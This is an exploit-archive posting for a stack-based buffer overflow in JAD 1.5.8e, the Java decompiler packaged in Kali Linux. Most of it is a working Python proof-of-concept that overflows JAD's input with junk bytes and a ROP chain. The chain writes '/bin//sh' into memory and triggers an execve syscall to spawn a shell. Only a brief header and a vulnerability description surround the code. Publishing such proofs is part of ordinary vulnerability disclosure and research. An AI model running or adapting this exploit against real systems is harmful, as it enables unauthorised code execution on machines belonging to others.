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JAD 1.5.8e-1kali1 Buffer Overflow

JAD 1.5.8e-1kali1 Buffer Overflow
Posted Jun 26, 2017
Authored by Juan Sacco

JAD version 1.5.8e-1kali1 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 802114a05907d65bb9ed538820a7f40a9bb461fc90ea763cdd2ae06a674e7c36

JAD 1.5.8e-1kali1 Buffer Overflow

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#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is
prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Package details:
# Version: 1.5.8e-1kali1
# Architecture: all
# Maintainer: Devon Kearns <dookie@kali.org>
#
# Vendor homepage: http://www.varaneckas.com/jad/
#
# CANARY : disabled
# FORTIFY : disabled
# NX : ENABLED
# PIE : disabled
# RELRO : disabled
#
import os, subprocess
from struct import pack

ropchain = "A"*8150 # junk
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '/bin'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe4) # @ .data + 4
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '//sh'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080c861f) # int 0x80

try:
print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["jad", ropchain])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "JAD not found!"
else:
print "Error executing exploit"
raise
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